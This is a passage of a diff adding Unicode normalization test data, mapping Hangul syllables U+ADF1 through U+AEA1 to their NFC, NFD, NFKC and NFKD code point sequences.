+{ source: [0xADF1], NFC: [0xADF1], NFD: [0x1100, 0x1172, 0x11BC], NFKC: [0xADF1], NFKD: [0x1100, 0x1172, 0x11BC] },
+{ source: [0xADF2], NFC: [0xADF2], NFD: [0x1100, 0x1172, 0x11BD], NFKC: [0xADF2], NFKD: [0x1100, 0x1172, 0x11BD] },
+{ source: [0xADF3], NFC: [0xADF3], NFD: [0x1100, 0x1172, 0x11BE], NFKC: [0xADF3], NFKD: [0x1100, 0x1172, 0x11BE] },
+{ source: [0xADF4], NFC: [0xADF4], NFD: [0x1100, 0x1172, 0x11BF], NFKC: [0xADF4], NFKD: [0x1100, 0x1172, 0x11BF] },
+{ source: [0xADF5], NFC: [0xADF5], NFD: [0x1100, 0x1172, 0x11C0], NFKC: [0xADF5], NFKD: [0x1100, 0x1172, 0x11C0] },
+{ source: [0xADF6], NFC: [0xADF6], NFD: [0x1100, 0x1172, 0x11C1], NFKC: [0xADF6], NFKD: [0x1100, 0x1172, 0x11C1] },
+{ source: [0xADF7], NFC: [0xADF7], NFD: [0x1100, 0x1172, 0x11C2], NFKC: [0xADF7], NFKD: [0x1100, 0x1172, 0x11C2] },
+{ source: [0xADF8], NFC: [0xADF8], NFD: [0x1100, 0x1173], NFKC: [0xADF8], NFKD: [0x1100, 0x1173] },
+{ source: [0xADF9], NFC: [0xADF9], NFD: [0x1100, 0x1173, 0x11A8], NFKC: [0xADF9], NFKD: [0x1100, 0x1173, 0x11A8] },
+{ source: [0xADFA], NFC: [0xADFA], NFD: [0x1100, 0x1173, 0x11A9], NFKC: [0xADFA], NFKD: [0x1100, 0x1173, 0x11A9] },
+{ source: [0xADFB], NFC: [0xADFB], NFD: [0x1100, 0x1173, 0x11AA], NFKC: [0xADFB], NFKD: [0x1100, 0x1173, 0x11AA] },
+{ source: [0xADFC], NFC: [0xADFC], NFD: [0x1100, 0x1173, 0x11AB], NFKC: [0xADFC], NFKD: [0x1100, 0x1173, 0x11AB] },
+{ source: [0xADFD], NFC: [0xADFD], NFD: [0x1100, 0x1173, 0x11AC], NFKC: [0xADFD], NFKD: [0x1100, 0x1173, 0x11AC] },
+{ source: [0xADFE], NFC: [0xADFE], NFD: [0x1100, 0x1173, 0x11AD], NFKC: [0xADFE], NFKD: [0x1100, 0x1173, 0x11AD] },
+{ source: [0xADFF], NFC: [0xADFF], NFD: [0x1100, 0x1173, 0x11AE], NFKC: [0xADFF], NFKD: [0x1100, 0x1173, 0x11AE] },
+{ source: [0xAE00], NFC: [0xAE00], NFD: [0x1100, 0x1173, 0x11AF], NFKC: [0xAE00], NFKD: [0x1100, 0x1173, 0x11AF] },
+{ source: [0xAE01], NFC: [0xAE01], NFD: [0x1100, 0x1173, 0x11B0], NFKC: [0xAE01], NFKD: [0x1100, 0x1173, 0x11B0] },
+{ source: [0xAE02], NFC: [0xAE02], NFD: [0x1100, 0x1173, 0x11B1], NFKC: [0xAE02], NFKD: [0x1100, 0x1173, 0x11B1] },
+{ source: [0xAE03], NFC: [0xAE03], NFD: [0x1100, 0x1173, 0x11B2], NFKC: [0xAE03], NFKD: [0x1100, 0x1173, 0x11B2] },
+{ source: [0xAE04], NFC: [0xAE04], NFD: [0x1100, 0x1173, 0x11B3], NFKC: [0xAE04], NFKD: [0x1100, 0x1173, 0x11B3] },
+{ source: [0xAE05], NFC: [0xAE05], NFD: [0x1100, 0x1173, 0x11B4], NFKC: [0xAE05], NFKD: [0x1100, 0x1173, 0x11B4] },
+{ source: [0xAE06], NFC: [0xAE06], NFD: [0x1100, 0x1173, 0x11B5], NFKC: [0xAE06], NFKD: [0x1100, 0x1173, 0x11B5] },
+{ source: [0xAE07], NFC: [0xAE07], NFD: [0x1100, 0x1173, 0x11B6], NFKC: [0xAE07], NFKD: [0x1100, 0x1173, 0x11B6] },
+{ source: [0xAE08], NFC: [0xAE08], NFD: [0x1100, 0x1173, 0x11B7], NFKC: [0xAE08], NFKD: [0x1100, 0x1173, 0x11B7] },
+{ source: [0xAE09], NFC: [0xAE09], NFD: [0x1100, 0x1173, 0x11B8], NFKC: [0xAE09], NFKD: [0x1100, 0x1173, 0x11B8] },
+{ source: [0xAE0A], NFC: [0xAE0A], NFD: [0x1100, 0x1173, 0x11B9], NFKC: [0xAE0A], NFKD: [0x1100, 0x1173, 0x11B9] },
+{ source: [0xAE0B], NFC: [0xAE0B], NFD: [0x1100, 0x1173, 0x11BA], NFKC: [0xAE0B], NFKD: [0x1100, 0x1173, 0x11BA] },
+{ source: [0xAE0C], NFC: [0xAE0C], NFD: [0x1100, 0x1173, 0x11BB], NFKC: [0xAE0C], NFKD: [0x1100, 0x1173, 0x11BB] },
+{ source: [0xAE0D], NFC: [0xAE0D], NFD: [0x1100, 0x1173, 0x11BC], NFKC: [0xAE0D], NFKD: [0x1100, 0x1173, 0x11BC] },
+{ source: [0xAE0E], NFC: [0xAE0E], NFD: [0x1100, 0x1173, 0x11BD], NFKC: [0xAE0E], NFKD: [0x1100, 0x1173, 0x11BD] },
+{ source: [0xAE0F], NFC: [0xAE0F], NFD: [0x1100, 0x1173, 0x11BE], NFKC: [0xAE0F], NFKD: [0x1100, 0x1173, 0x11BE] },
+{ source: [0xAE10], NFC: [0xAE10], NFD: [0x1100, 0x1173, 0x11BF], NFKC: [0xAE10], NFKD: [0x1100, 0x1173, 0x11BF] },
+{ source: [0xAE11], NFC: [0xAE11], NFD: [0x1100, 0x1173, 0x11C0], NFKC: [0xAE11], NFKD: [0x1100, 0x1173, 0x11C0] },
+{ source: [0xAE12], NFC: [0xAE12], NFD: [0x1100, 0x1173, 0x11C1], NFKC: [0xAE12], NFKD: [0x1100, 0x1173, 0x11C1] },
+{ source: [0xAE13], NFC: [0xAE13], NFD: [0x1100, 0x1173, 0x11C2], NFKC: [0xAE13], NFKD: [0x1100, 0x1173, 0x11C2] },
+{ source: [0xAE14], NFC: [0xAE14], NFD: [0x1100, 0x1174], NFKC: [0xAE14], NFKD: [0x1100, 0x1174] },
+{ source: [0xAE15], NFC: [0xAE15], NFD: [0x1100, 0x1174, 0x11A8], NFKC: [0xAE15], NFKD: [0x1100, 0x1174, 0x11A8] },
+{ source: [0xAE16], NFC: [0xAE16], NFD: [0x1100, 0x1174, 0x11A9], NFKC: [0xAE16], NFKD: [0x1100, 0x1174, 0x11A9] },
+{ source: [0xAE17], NFC: [0xAE17], NFD: [0x1100, 0x1174, 0x11AA], NFKC: [0xAE17], NFKD: [0x1100, 0x1174, 0x11AA] },
+{ source: [0xAE18], NFC: [0xAE18], NFD: [0x1100, 0x1174, 0x11AB], NFKC: [0xAE18], NFKD: [0x1100, 0x1174, 0x11AB] },
+{ source: [0xAE19], NFC: [0xAE19], NFD: [0x1100, 0x1174, 0x11AC], NFKC: [0xAE19], NFKD: [0x1100, 0x1174, 0x11AC] },
+{ source: [0xAE1A], NFC: [0xAE1A], NFD: [0x1100, 0x1174, 0x11AD], NFKC: [0xAE1A], NFKD: [0x1100, 0x1174, 0x11AD] },
+{ source: [0xAE1B], NFC: [0xAE1B], NFD: [0x1100, 0x1174, 0x11AE], NFKC: [0xAE1B], NFKD: [0x1100, 0x1174, 0x11AE] },
+{ source: [0xAE1C], NFC: [0xAE1C], NFD: [0x1100, 0x1174, 0x11AF], NFKC: [0xAE1C], NFKD: [0x1100, 0x1174, 0x11AF] },
+{ source: [0xAE1D], NFC: [0xAE1D], NFD: [0x1100, 0x1174, 0x11B0], NFKC: [0xAE1D], NFKD: [0x1100, 0x1174, 0x11B0] },
+{ source: [0xAE1E], NFC: [0xAE1E], NFD: [0x1100, 0x1174, 0x11B1], NFKC: [0xAE1E], NFKD: [0x1100, 0x1174, 0x11B1] },
+{ source: [0xAE1F], NFC: [0xAE1F], NFD: [0x1100, 0x1174, 0x11B2], NFKC: [0xAE1F], NFKD: [0x1100, 0x1174, 0x11B2] },
+{ source: [0xAE20], NFC: [0xAE20], NFD: [0x1100, 0x1174, 0x11B3], NFKC: [0xAE20], NFKD: [0x1100, 0x1174, 0x11B3] },
+{ source: [0xAE21], NFC: [0xAE21], NFD: [0x1100, 0x1174, 0x11B4], NFKC: [0xAE21], NFKD: [0x1100, 0x1174, 0x11B4] },
+{ source: [0xAE22], NFC: [0xAE22], NFD: [0x1100, 0x1174, 0x11B5], NFKC: [0xAE22], NFKD: [0x1100, 0x1174, 0x11B5] },
+{ source: [0xAE23], NFC: [0xAE23], NFD: [0x1100, 0x1174, 0x11B6], NFKC: [0xAE23], NFKD: [0x1100, 0x1174, 0x11B6] },
+{ source: [0xAE24], NFC: [0xAE24], NFD: [0x1100, 0x1174, 0x11B7], NFKC: [0xAE24], NFKD: [0x1100, 0x1174, 0x11B7] },
+{ source: [0xAE25], NFC: [0xAE25], NFD: [0x1100, 0x1174, 0x11B8], NFKC: [0xAE25], NFKD: [0x1100, 0x1174, 0x11B8] },
+{ source: [0xAE26], NFC: [0xAE26], NFD: [0x1100, 0x1174, 0x11B9], NFKC: [0xAE26], NFKD: [0x1100, 0x1174, 0x11B9] },
+{ source: [0xAE27], NFC: [0xAE27], NFD: [0x1100, 0x1174, 0x11BA], NFKC: [0xAE27], NFKD: [0x1100, 0x1174, 0x11BA] },
+{ source: [0xAE28], NFC: [0xAE28], NFD: [0x1100, 0x1174, 0x11BB], NFKC: [0xAE28], NFKD: [0x1100, 0x1174, 0x11BB] },
+{ source: [0xAE29], NFC: [0xAE29], NFD: [0x1100, 0x1174, 0x11BC], NFKC: [0xAE29], NFKD: [0x1100, 0x1174, 0x11BC] },
+{ source: [0xAE2A], NFC: [0xAE2A], NFD: [0x1100, 0x1174, 0x11BD], NFKC: [0xAE2A], NFKD: [0x1100, 0x1174, 0x11BD] },
+{ source: [0xAE2B], NFC: [0xAE2B], NFD: [0x1100, 0x1174, 0x11BE], NFKC: [0xAE2B], NFKD: [0x1100, 0x1174, 0x11BE] },
+{ source: [0xAE2C], NFC: [0xAE2C], NFD: [0x1100, 0x1174, 0x11BF], NFKC: [0xAE2C], NFKD: [0x1100, 0x1174, 0x11BF] },
+{ source: [0xAE2D], NFC: [0xAE2D], NFD: [0x1100, 0x1174, 0x11C0], NFKC: [0xAE2D], NFKD: [0x1100, 0x1174, 0x11C0] },
+{ source: [0xAE2E], NFC: [0xAE2E], NFD: [0x1100, 0x1174, 0x11C1], NFKC: [0xAE2E], NFKD: [0x1100, 0x1174, 0x11C1] },
+{ source: [0xAE2F], NFC: [0xAE2F], NFD: [0x1100, 0x1174, 0x11C2], NFKC: [0xAE2F], NFKD: [0x1100, 0x1174, 0x11C2] },
+{ source: [0xAE30], NFC: [0xAE30], NFD: [0x1100, 0x1175], NFKC: [0xAE30], NFKD: [0x1100, 0x1175] },
+{ source: [0xAE31], NFC: [0xAE31], NFD: [0x1100, 0x1175, 0x11A8], NFKC: [0xAE31], NFKD: [0x1100, 0x1175, 0x11A8] },
+{ source: [0xAE32], NFC: [0xAE32], NFD: [0x1100, 0x1175, 0x11A9], NFKC: [0xAE32], NFKD: [0x1100, 0x1175, 0x11A9] },
+{ source: [0xAE33], NFC: [0xAE33], NFD: [0x1100, 0x1175, 0x11AA], NFKC: [0xAE33], NFKD: [0x1100, 0x1175, 0x11AA] },
+{ source: [0xAE34], NFC: [0xAE34], NFD: [0x1100, 0x1175, 0x11AB], NFKC: [0xAE34], NFKD: [0x1100, 0x1175, 0x11AB] },
+{ source: [0xAE35], NFC: [0xAE35], NFD: [0x1100, 0x1175, 0x11AC], NFKC: [0xAE35], NFKD: [0x1100, 0x1175, 0x11AC] },
+{ source: [0xAE36], NFC: [0xAE36], NFD: [0x1100, 0x1175, 0x11AD], NFKC: [0xAE36], NFKD: [0x1100, 0x1175, 0x11AD] },
+{ source: [0xAE37], NFC: [0xAE37], NFD: [0x1100, 0x1175, 0x11AE], NFKC: [0xAE37], NFKD: [0x1100, 0x1175, 0x11AE] },
+{ source: [0xAE38], NFC: [0xAE38], NFD: [0x1100, 0x1175, 0x11AF], NFKC: [0xAE38], NFKD: [0x1100, 0x1175, 0x11AF] },
+{ source: [0xAE39], NFC: [0xAE39], NFD: [0x1100, 0x1175, 0x11B0], NFKC: [0xAE39], NFKD: [0x1100, 0x1175, 0x11B0] },
+{ source: [0xAE3A], NFC: [0xAE3A], NFD: [0x1100, 0x1175, 0x11B1], NFKC: [0xAE3A], NFKD: [0x1100, 0x1175, 0x11B1] },
+{ source: [0xAE3B], NFC: [0xAE3B], NFD: [0x1100, 0x1175, 0x11B2], NFKC: [0xAE3B], NFKD: [0x1100, 0x1175, 0x11B2] },
+{ source: [0xAE3C], NFC: [0xAE3C], NFD: [0x1100, 0x1175, 0x11B3], NFKC: [0xAE3C], NFKD: [0x1100, 0x1175, 0x11B3] },
+{ source: [0xAE3D], NFC: [0xAE3D], NFD: [0x1100, 0x1175, 0x11B4], NFKC: [0xAE3D], NFKD: [0x1100, 0x1175, 0x11B4] },
+{ source: [0xAE3E], NFC: [0xAE3E], NFD: [0x1100, 0x1175, 0x11B5], NFKC: [0xAE3E], NFKD: [0x1100, 0x1175, 0x11B5] },
+{ source: [0xAE3F], NFC: [0xAE3F], NFD: [0x1100, 0x1175, 0x11B6], NFKC: [0xAE3F], NFKD: [0x1100, 0x1175, 0x11B6] },
+{ source: [0xAE40], NFC: [0xAE40], NFD: [0x1100, 0x1175, 0x11B7], NFKC: [0xAE40], NFKD: [0x1100, 0x1175, 0x11B7] },
+{ source: [0xAE41], NFC: [0xAE41], NFD: [0x1100, 0x1175, 0x11B8], NFKC: [0xAE41], NFKD: [0x1100, 0x1175, 0x11B8] },
+{ source: [0xAE42], NFC: [0xAE42], NFD: [0x1100, 0x1175, 0x11B9], NFKC: [0xAE42], NFKD: [0x1100, 0x1175, 0x11B9] },
+{ source: [0xAE43], NFC: [0xAE43], NFD: [0x1100, 0x1175, 0x11BA], NFKC: [0xAE43], NFKD: [0x1100, 0x1175, 0x11BA] },
+{ source: [0xAE44], NFC: [0xAE44], NFD: [0x1100, 0x1175, 0x11BB], NFKC: [0xAE44], NFKD: [0x1100, 0x1175, 0x11BB] },
+{ source: [0xAE45], NFC: [0xAE45], NFD: [0x1100, 0x1175, 0x11BC], NFKC: [0xAE45], NFKD: [0x1100, 0x1175, 0x11BC] },
+{ source: [0xAE46], NFC: [0xAE46], NFD: [0x1100, 0x1175, 0x11BD], NFKC: [0xAE46], NFKD: [0x1100, 0x1175, 0x11BD] },
+{ source: [0xAE47], NFC: [0xAE47], NFD: [0x1100, 0x1175, 0x11BE], NFKC: [0xAE47], NFKD: [0x1100, 0x1175, 0x11BE] },
+{ source: [0xAE48], NFC: [0xAE48], NFD: [0x1100, 0x1175, 0x11BF], NFKC: [0xAE48], NFKD: [0x1100, 0x1175, 0x11BF] },
+{ source: [0xAE49], NFC: [0xAE49], NFD: [0x1100, 0x1175, 0x11C0], NFKC: [0xAE49], NFKD: [0x1100, 0x1175, 0x11C0] },
+{ source: [0xAE4A], NFC: [0xAE4A], NFD: [0x1100, 0x1175, 0x11C1], NFKC: [0xAE4A], NFKD: [0x1100, 0x1175, 0x11C1] },
+{ source: [0xAE4B], NFC: [0xAE4B], NFD: [0x1100, 0x1175, 0x11C2], NFKC: [0xAE4B], NFKD: [0x1100, 0x1175, 0x11C2] },
+{ source: [0xAE4C], NFC: [0xAE4C], NFD: [0x1101, 0x1161], NFKC: [0xAE4C], NFKD: [0x1101, 0x1161] },
+{ source: [0xAE4D], NFC: [0xAE4D], NFD: [0x1101, 0x1161, 0x11A8], NFKC: [0xAE4D], NFKD: [0x1101, 0x1161, 0x11A8] },
+{ source: [0xAE4E], NFC: [0xAE4E], NFD: [0x1101, 0x1161, 0x11A9], NFKC: [0xAE4E], NFKD: [0x1101, 0x1161, 0x11A9] },
+{ source: [0xAE4F], NFC: [0xAE4F], NFD: [0x1101, 0x1161, 0x11AA], NFKC: [0xAE4F], NFKD: [0x1101, 0x1161, 0x11AA] },
+{ source: [0xAE50], NFC: [0xAE50], NFD: [0x1101, 0x1161, 0x11AB], NFKC: [0xAE50], NFKD: [0x1101, 0x1161, 0x11AB] },
+{ source: [0xAE51], NFC: [0xAE51], NFD: [0x1101, 0x1161, 0x11AC], NFKC: [0xAE51], NFKD: [0x1101, 0x1161, 0x11AC] },
+{ source: [0xAE52], NFC: [0xAE52], NFD: [0x1101, 0x1161, 0x11AD], NFKC: [0xAE52], NFKD: [0x1101, 0x1161, 0x11AD] },
+{ source: [0xAE53], NFC: [0xAE53], NFD: [0x1101, 0x1161, 0x11AE], NFKC: [0xAE53], NFKD: [0x1101, 0x1161, 0x11AE] },
+{ source: [0xAE54], NFC: [0xAE54], NFD: [0x1101, 0x1161, 0x11AF], NFKC: [0xAE54], NFKD: [0x1101, 0x1161, 0x11AF] },
+{ source: [0xAE55], NFC: [0xAE55], NFD: [0x1101, 0x1161, 0x11B0], NFKC: [0xAE55], NFKD: [0x1101, 0x1161, 0x11B0] },
+{ source: [0xAE56], NFC: [0xAE56], NFD: [0x1101, 0x1161, 0x11B1], NFKC: [0xAE56], NFKD: [0x1101, 0x1161, 0x11B1] },
+{ source: [0xAE57], NFC: [0xAE57], NFD: [0x1101, 0x1161, 0x11B2], NFKC: [0xAE57], NFKD: [0x1101, 0x1161, 0x11B2] },
+{ source: [0xAE58], NFC: [0xAE58], NFD: [0x1101, 0x1161, 0x11B3], NFKC: [0xAE58], NFKD: [0x1101, 0x1161, 0x11B3] },
+{ source: [0xAE59], NFC: [0xAE59], NFD: [0x1101, 0x1161, 0x11B4], NFKC: [0xAE59], NFKD: [0x1101, 0x1161, 0x11B4] },
+{ source: [0xAE5A], NFC: [0xAE5A], NFD: [0x1101, 0x1161, 0x11B5], NFKC: [0xAE5A], NFKD: [0x1101, 0x1161, 0x11B5] },
+{ source: [0xAE5B], NFC: [0xAE5B], NFD: [0x1101, 0x1161, 0x11B6], NFKC: [0xAE5B], NFKD: [0x1101, 0x1161, 0x11B6] },
+{ source: [0xAE5C], NFC: [0xAE5C], NFD: [0x1101, 0x1161, 0x11B7], NFKC: [0xAE5C], NFKD: [0x1101, 0x1161, 0x11B7] },
+{ source: [0xAE5D], NFC: [0xAE5D], NFD: [0x1101, 0x1161, 0x11B8], NFKC: [0xAE5D], NFKD: [0x1101, 0x1161, 0x11B8] },
+{ source: [0xAE5E], NFC: [0xAE5E], NFD: [0x1101, 0x1161, 0x11B9], NFKC: [0xAE5E], NFKD: [0x1101, 0x1161, 0x11B9] },
+{ source: [0xAE5F], NFC: [0xAE5F], NFD: [0x1101, 0x1161, 0x11BA], NFKC: [0xAE5F], NFKD: [0x1101, 0x1161, 0x11BA] },
+{ source: [0xAE60], NFC: [0xAE60], NFD: [0x1101, 0x1161, 0x11BB], NFKC: [0xAE60], NFKD: [0x1101, 0x1161, 0x11BB] },
+{ source: [0xAE61], NFC: [0xAE61], NFD: [0x1101, 0x1161, 0x11BC], NFKC: [0xAE61], NFKD: [0x1101, 0x1161, 0x11BC] },
+{ source: [0xAE62], NFC: [0xAE62], NFD: [0x1101, 0x1161, 0x11BD], NFKC: [0xAE62], NFKD: [0x1101, 0x1161, 0x11BD] },
+{ source: [0xAE63], NFC: [0xAE63], NFD: [0x1101, 0x1161, 0x11BE], NFKC: [0xAE63], NFKD: [0x1101, 0x1161, 0x11BE] },
+{ source: [0xAE64], NFC: [0xAE64], NFD: [0x1101, 0x1161, 0x11BF], NFKC: [0xAE64], NFKD: [0x1101, 0x1161, 0x11BF] },
+{ source: [0xAE65], NFC: [0xAE65], NFD: [0x1101, 0x1161, 0x11C0], NFKC: [0xAE65], NFKD: [0x1101, 0x1161, 0x11C0] },
+{ source: [0xAE66], NFC: [0xAE66], NFD: [0x1101, 0x1161, 0x11C1], NFKC: [0xAE66], NFKD: [0x1101, 0x1161, 0x11C1] },
+{ source: [0xAE67], NFC: [0xAE67], NFD: [0x1101, 0x1161, 0x11C2], NFKC: [0xAE67], NFKD: [0x1101, 0x1161, 0x11C2] },
+{ source: [0xAE68], NFC: [0xAE68], NFD: [0x1101, 0x1162], NFKC: [0xAE68], NFKD: [0x1101, 0x1162] },
+{ source: [0xAE69], NFC: [0xAE69], NFD: [0x1101, 0x1162, 0x11A8], NFKC: [0xAE69], NFKD: [0x1101, 0x1162, 0x11A8] },
+{ source: [0xAE6A], NFC: [0xAE6A], NFD: [0x1101, 0x1162, 0x11A9], NFKC: [0xAE6A], NFKD: [0x1101, 0x1162, 0x11A9] },
+{ source: [0xAE6B], NFC: [0xAE6B], NFD: [0x1101, 0x1162, 0x11AA], NFKC: [0xAE6B], NFKD: [0x1101, 0x1162, 0x11AA] },
+{ source: [0xAE6C], NFC: [0xAE6C], NFD: [0x1101, 0x1162, 0x11AB], NFKC: [0xAE6C], NFKD: [0x1101, 0x1162, 0x11AB] },
+{ source: [0xAE6D], NFC: [0xAE6D], NFD: [0x1101, 0x1162, 0x11AC], NFKC: [0xAE6D], NFKD: [0x1101, 0x1162, 0x11AC] },
+{ source: [0xAE6E], NFC: [0xAE6E], NFD: [0x1101, 0x1162, 0x11AD], NFKC: [0xAE6E], NFKD: [0x1101, 0x1162, 0x11AD] },
+{ source: [0xAE6F], NFC: [0xAE6F], NFD: [0x1101, 0x1162, 0x11AE], NFKC: [0xAE6F], NFKD: [0x1101, 0x1162, 0x11AE] },
+{ source: [0xAE70], NFC: [0xAE70], NFD: [0x1101, 0x1162, 0x11AF], NFKC: [0xAE70], NFKD: [0x1101, 0x1162, 0x11AF] },
+{ source: [0xAE71], NFC: [0xAE71], NFD: [0x1101, 0x1162, 0x11B0], NFKC: [0xAE71], NFKD: [0x1101, 0x1162, 0x11B0] },
+{ source: [0xAE72], NFC: [0xAE72], NFD: [0x1101, 0x1162, 0x11B1], NFKC: [0xAE72], NFKD: [0x1101, 0x1162, 0x11B1] },
+{ source: [0xAE73], NFC: [0xAE73], NFD: [0x1101, 0x1162, 0x11B2], NFKC: [0xAE73], NFKD: [0x1101, 0x1162, 0x11B2] },
+{ source: [0xAE74], NFC: [0xAE74], NFD: [0x1101, 0x1162, 0x11B3], NFKC: [0xAE74], NFKD: [0x1101, 0x1162, 0x11B3] },
+{ source: [0xAE75], NFC: [0xAE75], NFD: [0x1101, 0x1162, 0x11B4], NFKC: [0xAE75], NFKD: [0x1101, 0x1162, 0x11B4] },
+{ source: [0xAE76], NFC: [0xAE76], NFD: [0x1101, 0x1162, 0x11B5], NFKC: [0xAE76], NFKD: [0x1101, 0x1162, 0x11B5] },
+{ source: [0xAE77], NFC: [0xAE77], NFD: [0x1101, 0x1162, 0x11B6], NFKC: [0xAE77], NFKD: [0x1101, 0x1162, 0x11B6] },
+{ source: [0xAE78], NFC: [0xAE78], NFD: [0x1101, 0x1162, 0x11B7], NFKC: [0xAE78], NFKD: [0x1101, 0x1162, 0x11B7] },
+{ source: [0xAE79], NFC: [0xAE79], NFD: [0x1101, 0x1162, 0x11B8], NFKC: [0xAE79], NFKD: [0x1101, 0x1162, 0x11B8] },
+{ source: [0xAE7A], NFC: [0xAE7A], NFD: [0x1101, 0x1162, 0x11B9], NFKC: [0xAE7A], NFKD: [0x1101, 0x1162, 0x11B9] },
+{ source: [0xAE7B], NFC: [0xAE7B], NFD: [0x1101, 0x1162, 0x11BA], NFKC: [0xAE7B], NFKD: [0x1101, 0x1162, 0x11BA] },
+{ source: [0xAE7C], NFC: [0xAE7C], NFD: [0x1101, 0x1162, 0x11BB], NFKC: [0xAE7C], NFKD: [0x1101, 0x1162, 0x11BB] },
+{ source: [0xAE7D], NFC: [0xAE7D], NFD: [0x1101, 0x1162, 0x11BC], NFKC: [0xAE7D], NFKD: [0x1101, 0x1162, 0x11BC] },
+{ source: [0xAE7E], NFC: [0xAE7E], NFD: [0x1101, 0x1162, 0x11BD], NFKC: [0xAE7E], NFKD: [0x1101, 0x1162, 0x11BD] },
+{ source: [0xAE7F], NFC: [0xAE7F], NFD: [0x1101, 0x1162, 0x11BE], NFKC: [0xAE7F], NFKD: [0x1101, 0x1162, 0x11BE] },
+{ source: [0xAE80], NFC: [0xAE80], NFD: [0x1101, 0x1162, 0x11BF], NFKC: [0xAE80], NFKD: [0x1101, 0x1162, 0x11BF] },
+{ source: [0xAE81], NFC: [0xAE81], NFD: [0x1101, 0x1162, 0x11C0], NFKC: [0xAE81], NFKD: [0x1101, 0x1162, 0x11C0] },
+{ source: [0xAE82], NFC: [0xAE82], NFD: [0x1101, 0x1162, 0x11C1], NFKC: [0xAE82], NFKD: [0x1101, 0x1162, 0x11C1] },
+{ source: [0xAE83], NFC: [0xAE83], NFD: [0x1101, 0x1162, 0x11C2], NFKC: [0xAE83], NFKD: [0x1101, 0x1162, 0x11C2] },
+{ source: [0xAE84], NFC: [0xAE84], NFD: [0x1101, 0x1163], NFKC: [0xAE84], NFKD: [0x1101, 0x1163] },
+{ source: [0xAE85], NFC: [0xAE85], NFD: [0x1101, 0x1163, 0x11A8], NFKC: [0xAE85], NFKD: [0x1101, 0x1163, 0x11A8] },
+{ source: [0xAE86], NFC: [0xAE86], NFD: [0x1101, 0x1163, 0x11A9], NFKC: [0xAE86], NFKD: [0x1101, 0x1163, 0x11A9] },
+{ source: [0xAE87], NFC: [0xAE87], NFD: [0x1101, 0x1163, 0x11AA], NFKC: [0xAE87], NFKD: [0x1101, 0x1163, 0x11AA] },
+{ source: [0xAE88], NFC: [0xAE88], NFD: [0x1101, 0x1163, 0x11AB], NFKC: [0xAE88], NFKD: [0x1101, 0x1163, 0x11AB] },
+{ source: [0xAE89], NFC: [0xAE89], NFD: [0x1101, 0x1163, 0x11AC], NFKC: [0xAE89], NFKD: [0x1101, 0x1163, 0x11AC] },
+{ source: [0xAE8A], NFC: [0xAE8A], NFD: [0x1101, 0x1163, 0x11AD], NFKC: [0xAE8A], NFKD: [0x1101, 0x1163, 0x11AD] },
+{ source: [0xAE8B], NFC: [0xAE8B], NFD: [0x1101, 0x1163, 0x11AE], NFKC: [0xAE8B], NFKD: [0x1101, 0x1163, 0x11AE] },
+{ source: [0xAE8C], NFC: [0xAE8C], NFD: [0x1101, 0x1163, 0x11AF], NFKC: [0xAE8C], NFKD: [0x1101, 0x1163, 0x11AF] },
+{ source: [0xAE8D], NFC: [0xAE8D], NFD: [0x1101, 0x1163, 0x11B0], NFKC: [0xAE8D], NFKD: [0x1101, 0x1163, 0x11B0] },
+{ source: [0xAE8E], NFC: [0xAE8E], NFD: [0x1101, 0x1163, 0x11B1], NFKC: [0xAE8E], NFKD: [0x1101, 0x1163, 0x11B1] },
+{ source: [0xAE8F], NFC: [0xAE8F], NFD: [0x1101, 0x1163, 0x11B2], NFKC: [0xAE8F], NFKD: [0x1101, 0x1163, 0x11B2] },
+{ source: [0xAE90], NFC: [0xAE90], NFD: [0x1101, 0x1163, 0x11B3], NFKC: [0xAE90], NFKD: [0x1101, 0x1163, 0x11B3] },
+{ source: [0xAE91], NFC: [0xAE91], NFD: [0x1101, 0x1163, 0x11B4], NFKC: [0xAE91], NFKD: [0x1101, 0x1163, 0x11B4] },
+{ source: [0xAE92], NFC: [0xAE92], NFD: [0x1101, 0x1163, 0x11B5], NFKC: [0xAE92], NFKD: [0x1101, 0x1163, 0x11B5] },
+{ source: [0xAE93], NFC: [0xAE93], NFD: [0x1101, 0x1163, 0x11B6], NFKC: [0xAE93], NFKD: [0x1101, 0x1163, 0x11B6] },
+{ source: [0xAE94], NFC: [0xAE94], NFD: [0x1101, 0x1163, 0x11B7], NFKC: [0xAE94], NFKD: [0x1101, 0x1163, 0x11B7] },
+{ source: [0xAE95], NFC: [0xAE95], NFD: [0x1101, 0x1163, 0x11B8], NFKC: [0xAE95], NFKD: [0x1101, 0x1163, 0x11B8] },
+{ source: [0xAE96], NFC: [0xAE96], NFD: [0x1101, 0x1163, 0x11B9], NFKC: [0xAE96], NFKD: [0x1101, 0x1163, 0x11B9] },
+{ source: [0xAE97], NFC: [0xAE97], NFD: [0x1101, 0x1163, 0x11BA], NFKC: [0xAE97], NFKD: [0x1101, 0x1163, 0x11BA] },
+{ source: [0xAE98], NFC: [0xAE98], NFD: [0x1101, 0x1163, 0x11BB], NFKC: [0xAE98], NFKD: [0x1101, 0x1163, 0x11BB] },
+{ source: [0xAE99], NFC: [0xAE99], NFD: [0x1101, 0x1163, 0x11BC], NFKC: [0xAE99], NFKD: [0x1101, 0x1163, 0x11BC] },
+{ source: [0xAE9A], NFC: [0xAE9A], NFD: [0x1101, 0x1163, 0x11BD], NFKC: [0xAE9A], NFKD: [0x1101, 0x1163, 0x11BD] },
+{ source: [0xAE9B], NFC: [0xAE9B], NFD: [0x1101, 0x1163, 0x11BE], NFKC: [0xAE9B], NFKD: [0x1101, 0x1163, 0x11BE] },
+{ source: [0xAE9C], NFC: [0xAE9C], NFD: [0x1101, 0x1163, 0x11BF], NFKC: [0xAE9C], NFKD: [0x1101, 0x1163, 0x11BF] },
+{ source: [0xAE9D], NFC: [0xAE9D], NFD: [0x1101, 0x1163, 0x11C0], NFKC: [0xAE9D], NFKD: [0x1101, 0x1163, 0x11C0] },
+{ source: [0xAE9E], NFC: [0xAE9E], NFD: [0x1101, 0x1163, 0x11C1], NFKC: [0xAE9E], NFKD: [0x1101, 0x1163, 0x11C1] },
+{ source: [0xAE9F], NFC: [0xAE9F], NFD: [0x1101, 0x1163, 0x11C2], NFKC: [0xAE9F], NFKD: [0x1101, 0x1163, 0x11C2] },
+{ source: [0xAEA0], NFC: [0xAEA0], NFD: [0x1101, 0x1164], NFKC: [0xAEA0], NFKD: [0x1101, 0x1164] },
+{ source: [0xAEA1], NFC: [0xAEA1], NFD: [0x1101, 0x1164, 0x11A8], NFKC: [0xAEA1], NFKD: [0x1101, 0x1164, 0x11A8] },
